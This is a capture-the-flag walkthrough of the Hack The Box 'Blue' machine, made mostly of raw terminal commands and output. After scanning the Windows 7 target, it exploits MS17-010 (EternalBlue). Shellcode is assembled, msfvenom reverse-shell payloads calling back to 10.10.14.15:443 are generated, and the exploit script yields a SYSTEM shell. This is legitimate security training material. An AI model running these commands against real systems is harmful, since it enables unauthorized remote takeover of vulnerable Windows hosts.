1. ping 10.10.10.40

PING 10.10.10.40 (10.10.10.40) 56(84) bytes of data.

64 bytes from 10.10.10.40: icmp\_seq=1 ttl=127 time=197 ms

64 bytes from 10.10.10.40: icmp\_seq=2 ttl=127 time=197 ms

64 bytes from 10.10.10.40: icmp\_seq=3 ttl=127 time=197 ms

64 bytes from 10.10.10.40: icmp\_seq=4 ttl=127 time=197 ms

64 bytes from 10.10.10.40: icmp\_seq=5 ttl=127 time=198 ms

^C

--- 10.10.10.40 ping statistics ---

5 packets transmitted, 5 received, 0% packet loss, time 4012ms

rtt min/avg/max/mdev = 196.972/197.259/197.823/0.303 ms

ttl 127 windows machine

1. nmap -A -Pn -p- 10.10.10.40 --min-rate 10000

Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower.

Starting Nmap 7.91 ( https://nmap.org ) at 2021-05-12 13:36 EDT

Warning: 10.10.10.40 giving up on port because retransmission cap hit (10).

Nmap scan report for 10.10.10.40

Host is up (0.20s latency).

Not shown: 65479 closed ports, 47 filtered ports

PORT STATE SERVICE VERSION

135/tcp open msrpc Microsoft Windows RPC

139/tcp open netbios-ssn Microsoft Windows netbios-ssn

445/tcp open microsoft-ds Windows 7 Professional 7601 Service Pack 1 microsoft-ds (workgroup: WORKGROUP)

49152/tcp open msrpc Microsoft Windows RPC

49153/tcp open msrpc Microsoft Windows RPC

49154/tcp open msrpc Microsoft Windows RPC

49155/tcp open msrpc Microsoft Windows RPC

49156/tcp open msrpc Microsoft Windows RPC

49157/tcp open msrpc Microsoft Windows RPC

No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).

TCP/IP fingerprint:

OS:SCAN(V=7.91%E=4%D=5/12%OT=135%CT=1%CU=31184%PV=Y%DS=2%DC=T%G=Y%TM=609C12

OS:8F%P=x86\_64-pc-linux-gnu)SEQ(SP=FF%GCD=1%ISR=106%TI=I%CI=I%II=I%SS=S%TS=

OS:7)OPS(O1=M54DNW8ST11%O2=M54DNW8ST11%O3=M54DNW8NNT11%O4=M54DNW8ST11%O5=M5

OS:4DNW8ST11%O6=M54DST11)WIN(W1=2000%W2=2000%W3=2000%W4=2000%W5=2000%W6=200

OS:0)ECN(R=Y%DF=Y%T=80%W=2000%O=M54DNW8NNS%CC=N%Q=)T1(R=Y%DF=Y%T=80%S=O%A=S

OS:+%F=AS%RD=0%Q=)T2(R=Y%DF=Y%T=80%W=0%S=Z%A=S%F=AR%O=%RD=0%Q=)T3(R=Y%DF=Y%

OS:T=80%W=0%S=Z%A=O%F=AR%O=%RD=0%Q=)T4(R=Y%DF=Y%T=80%W=0%S=A%A=O%F=R%O=%RD=

OS:0%Q=)T5(R=Y%DF=Y%T=80%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=80%W=0%

OS:S=A%A=O%F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=80%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(

OS:R=Y%DF=N%T=80%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=

OS:N%T=80%CD=Z)

Network Distance: 2 hops

Service Info: Host: HARIS-PC; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:

|\_clock-skew: mean: -12m27s, deviation: 34m37s, median: 7m31s

| smb-os-discovery:

| OS: Windows 7 Professional 7601 Service Pack 1 (Windows 7 Professional 6.1)

| OS CPE: cpe:/o:microsoft:windows\_7::sp1:professional

| Computer name: haris-PC

| NetBIOS computer name: HARIS-PC\x00

| Workgroup: WORKGROUP\x00

|\_ System time: 2021-05-12T18:45:44+01:00

| smb-security-mode:

| account\_used: guest

| authentication\_level: user

| challenge\_response: supported

|\_ message\_signing: disabled (dangerous, but default)

| smb2-security-mode:

| 2.02:

|\_ Message signing enabled but not required

| smb2-time:

| date: 2021-05-12T17:45:45

|\_ start\_date: 2021-05-12T17:42:46

TRACEROUTE (using port 8080/tcp)

HOP RTT ADDRESS

1 197.17 ms 10.10.14.1

2 197.30 ms 10.10.10.40

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .

Nmap done: 1 IP address (1 host up) scanned in 117.00 seconds

1. Google Windows 7 Professional 7601 Service Pack 1 found this is vulnerable to eternal blue.
2. git clone <https://github.com/worawit/MS17-010.git>
3. nasm -f bin /opt/bipin/htbmachines/blue/MS17-010/shellcode/eternalblue\_kshellcode\_x64.asm -o ./sc\_x64\_kernel.bin

┌──(root💀kali)-[/opt/…/htbmachines/blue/MS17-010/shellcode]

└─# ls -lrt 127 ⨯

total 48

-rwxrwxrwx 1 root root 1589 May 12 13:54 eternalblue\_sc\_merge.py

-rwxrwxrwx 1 root root 19862 May 12 13:54 eternalblue\_kshellcode\_x86.asm

-rwxrwxrwx 1 root root 20305 May 12 13:54 eternalblue\_kshellcode\_x64.asm

-rw-r--r-- 1 root root 772 May 12 13:58 sc\_x64\_kernel.bin

1. msfvenom -p windows/x64/shell\_reverse\_tcp LPORT=443 LHOST=10.10.14.15 --platform windows -a x64 --format raw -o sc\_x64\_payload.bin

No encoder specified, outputting raw payload

Payload size: 460 bytes

Saved as: sc\_x64\_payload.bin

┌──(root💀kali)-[/opt/…/htbmachines/blue/MS17-010/shellcode]

└─# ls -lrt

total 52

-rwxrwxrwx 1 root root 1589 May 12 13:54 eternalblue\_sc\_merge.py

-rwxrwxrwx 1 root root 19862 May 12 13:54 eternalblue\_kshellcode\_x86.asm

-rwxrwxrwx 1 root root 20305 May 12 13:54 eternalblue\_kshellcode\_x64.asm

-rwxrwxrwx 1 root root 772 May 12 13:58 sc\_x64\_kernel.bin

-rwxrwxrwx 1 root root 460 May 12 14:02 sc\_x64\_payload.bin

1. cat sc\_x64\_kernel.bin sc\_x64\_payload.bin > sc\_x64.bin

┌──(root💀kali)-[/opt/…/htbmachines/blue/MS17-010/shellcode]

└─# ls -lrt

total 60

-rwxrwxrwx 1 root root 1589 May 12 13:54 eternalblue\_sc\_merge.py

-rwxrwxrwx 1 root root 19862 May 12 13:54 eternalblue\_kshellcode\_x86.asm

-rwxrwxrwx 1 root root 20305 May 12 13:54 eternalblue\_kshellcode\_x64.asm

-rwxrwxrwx 1 root root 772 May 12 13:58 sc\_x64\_kernel.bin

-rwxrwxrwx 1 root root 460 May 12 14:02 sc\_x64\_payload.bin

-rwxrwxrwx 1 root root 638 May 12 14:07 sc\_x86\_kernel.bin

-rwxrwxrwx 1 root root 1232 May 12 14:08 sc\_x64.bin

1. nasm -f bin /opt/bipin/htbmachines/blue/MS17-010/shellcode/eternalblue\_kshellcode\_x86.asm -o ./sc\_x86\_kernel.bin

┌──(root💀kali)-[/opt/…/htbmachines/blue/MS17-010/shellcode]

└─# ls -lrt

total 56

-rwxrwxrwx 1 root root 1589 May 12 13:54 eternalblue\_sc\_merge.py

-rwxrwxrwx 1 root root 19862 May 12 13:54 eternalblue\_kshellcode\_x86.asm

-rwxrwxrwx 1 root root 20305 May 12 13:54 eternalblue\_kshellcode\_x64.asm

-rwxrwxrwx 1 root root 772 May 12 13:58 sc\_x64\_kernel.bin

-rwxrwxrwx 1 root root 460 May 12 14:02 sc\_x64\_payload.bin

-rwxrwxrwx 1 root root 638 May 12 14:07 sc\_x86\_kernel.bin

1. msfvenom -p windows/shell\_reverse\_tcp LPORT=443 LHOST=10.10.14.15 --platform windows -a x86 --format raw -o sc\_x86\_payload.bin

┌──(root💀kali)-[/opt/…/htbmachines/blue/MS17-010/shellcode]

└─# ls -lrt

total 64

-rwxrwxrwx 1 root root 1589 May 12 13:54 eternalblue\_sc\_merge.py

-rwxrwxrwx 1 root root 19862 May 12 13:54 eternalblue\_kshellcode\_x86.asm

-rwxrwxrwx 1 root root 20305 May 12 13:54 eternalblue\_kshellcode\_x64.asm

-rwxrwxrwx 1 root root 772 May 12 13:58 sc\_x64\_kernel.bin

-rwxrwxrwx 1 root root 460 May 12 14:02 sc\_x64\_payload.bin

-rwxrwxrwx 1 root root 638 May 12 14:07 sc\_x86\_kernel.bin

-rwxrwxrwx 1 root root 1232 May 12 14:08 sc\_x64.bin

-rwxrwxrwx 1 root root 324 May 12 14:09 sc\_x86\_payload.bin

1. cat sc\_x86\_kernel.bin sc\_x86\_payload.bin > sc\_x86.bin

┌──(root💀kali)-[/opt/…/htbmachines/blue/MS17-010/shellcode]

└─# ls -lrt

total 68

-rwxrwxrwx 1 root root 1589 May 12 13:54 eternalblue\_sc\_merge.py

-rwxrwxrwx 1 root root 19862 May 12 13:54 eternalblue\_kshellcode\_x86.asm

-rwxrwxrwx 1 root root 20305 May 12 13:54 eternalblue\_kshellcode\_x64.asm

-rwxrwxrwx 1 root root 772 May 12 13:58 sc\_x64\_kernel.bin

-rwxrwxrwx 1 root root 460 May 12 14:02 sc\_x64\_payload.bin

-rwxrwxrwx 1 root root 638 May 12 14:07 sc\_x86\_kernel.bin

-rwxrwxrwx 1 root root 1232 May 12 14:08 sc\_x64.bin

-rwxrwxrwx 1 root root 324 May 12 14:09 sc\_x86\_payload.bin

-rwxrwxrwx 1 root root 962 May 12 14:12 sc\_x86.bin

1. python opt/bipin/htbmachines/blue/MS17-010/shellcode/eternalblue\_sc\_merge.py sc\_x86.bin sc\_x64.bin sc\_all.bin

┌──(root💀kali)-[/opt/…/htbmachines/blue/MS17-010/shellcode]

└─# ls -lrt

total 72

-rwxrwxrwx 1 root root 1589 May 12 13:54 eternalblue\_sc\_merge.py

-rwxrwxrwx 1 root root 19862 May 12 13:54 eternalblue\_kshellcode\_x86.asm

-rwxrwxrwx 1 root root 20305 May 12 13:54 eternalblue\_kshellcode\_x64.asm

-rwxrwxrwx 1 root root 772 May 12 13:58 sc\_x64\_kernel.bin

-rwxrwxrwx 1 root root 460 May 12 14:02 sc\_x64\_payload.bin

-rwxrwxrwx 1 root root 638 May 12 14:07 sc\_x86\_kernel.bin

-rwxrwxrwx 1 root root 1232 May 12 14:08 sc\_x64.bin

-rwxrwxrwx 1 root root 324 May 12 14:09 sc\_x86\_payload.bin

-rwxrwxrwx 1 root root 962 May 12 14:12 sc\_x86.bin

-rwxrwxrwx 1 root root 2203 May 12 14:15 sc\_all.bin

1. nc -nlvp 443

┌──(root💀kali)-[/home/kali/Desktop]

└─# nc -nlvp 443

listening on [any] 443 ...

1. python eternalblue\_exploit7.py 10.10.10.40 /opt/bipin/htbmachines/blue/MS17-010/shellcode/sc\_all.bin

shellcode size: 2203

numGroomConn: 13

Target OS: Windows 7 Professional 7601 Service Pack 1

SMB1 session setup allocate nonpaged pool success

SMB1 session setup allocate nonpaged pool success

good response status: INVALID\_PARAMETER

done

1. nc -nlvp 443

┌──(root💀kali)-[/home/kali/Desktop]

└─# nc -nlvp 443

listening on [any] 443 ...

connect to [10.10.14.15] from (UNKNOWN) [10.10.10.40] 49159

Microsoft Windows [Version 6.1.7601]

Copyright (c) 2009 Microsoft Corporation. All rights reserved.

C:\Windows\system32>whoami

whoami

nt authority\system

C:\Windows\system32>

https://root4loot.com/post/eternalblue\_manual\_exploit/